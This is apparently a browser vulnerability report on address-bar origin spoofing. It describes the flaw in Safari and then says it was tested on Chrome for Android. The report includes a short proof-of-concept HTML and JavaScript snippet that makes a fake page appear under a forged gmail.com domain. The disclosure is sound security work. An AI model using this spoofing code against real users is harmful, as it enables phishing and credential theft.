Description
A domain with a port number in the Safari browser, if the colon (:) behind is the non digital, displayed the colon (:) before the domain name in the address bar , the default page rendering can be blank and be changed arbitrarily. The attacker can carefully construct a malicious phishing page, forged any domain in the address bar, and change the content of the page. In Iphone/Ipad, JavaScript create alerts and warnings of the source is forged, and the HTTPS in the address bar will be with a small lock icon, which makes users believe that the current domain is more credible.

Steps to reproduce
Just copy and save the below code as URL.html or anything with html extension.

<a href="https://www.gmail.com:443." target="aa" onclick="setTimeout('fake()',100)"><h1>click me</h1></a> <script> function fake() { var t = window.open('javascript:alert(1)','aa'); t.document.body.innerHTML = '<title>Gmail</title><H1>Fake Page!!!--hack by Vivek</H1>'; } </script>

Open the saved URL.html on browser, and click on "click me" link. A pop-up shows on a new window, showing the origin spoof vulnerability.

I have tested this on Chrome 53 of Android running lollipop version.
 

Deleted: 2016_09_26_02_00_07_02_08_34.gif 227 KB

	2016_09_26_02_00_07_02_08_34.gif 227 KB View Download